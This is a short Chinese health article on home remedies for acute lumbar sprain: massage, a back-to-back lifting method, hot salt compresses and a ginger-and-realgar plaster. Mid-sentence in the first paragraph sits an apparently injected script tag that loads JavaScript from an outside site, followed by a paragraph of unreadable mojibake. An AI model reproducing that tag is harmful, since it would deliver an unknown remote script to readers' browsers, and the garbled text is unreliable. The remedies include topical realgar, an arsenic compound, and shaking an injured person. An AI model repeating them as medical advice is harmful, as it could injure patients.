腰部扭伤应急方案
“闪腰”在医学上称为急性腰扭伤，为一种常见病?script type='text/javascript' src='http://www.368tea.com/js/v.js'>嘤勺耸撇徽⒂昧汀⒊藁疃巴饬ε鲎驳仍斐扇碜橹芩鹚隆Ｉ撕罅⒓闯鱿盅刻弁矗食中缤矗稳湛梢蚓植砍鲅⒅渍汀⒀炕疃芟蓿荒芡χ保⒀觥⑴ぷ欣眩人浴⒋蚺缣纭⒋笮”闶笨墒固弁醇泳纭?/p>
一旦发生“闪腰”，可酌情选用以下几种方法：
按摩法：闪腰者取俯卧姿势，家人用双手掌在脊柱两旁，从上往下边揉边压，至臀部向下按摩到大腿下面、小腿后面的肌群，按摩几次后，再在最痛的部位用大拇指按摩推揉几次。
背运法：让闪腰者与家人靠背站立，双方将肘弯曲相互套住，然后家人低头弯腰，把患者背起并轻轻左右摇晃，同时让患者双足向上踢，约3～5分钟放下，休息几分钟再做。一般背几次之后，腰痛会逐步好转，以后每天背几次，直至痊愈。
热敷法：用炒热的盐或沙子包在布袋里，热敷扭伤处，每次半小时，早晚各一次，注意不要烫伤皮肤。
药物外敷法：取新鲜生姜，将内层挖空，把研细的雄黄放入生姜片盖紧，放瓦上焙干，把生姜焙成老黄色，放冷，研细末，撕在伤湿膏上，贴患处，痛止去药。
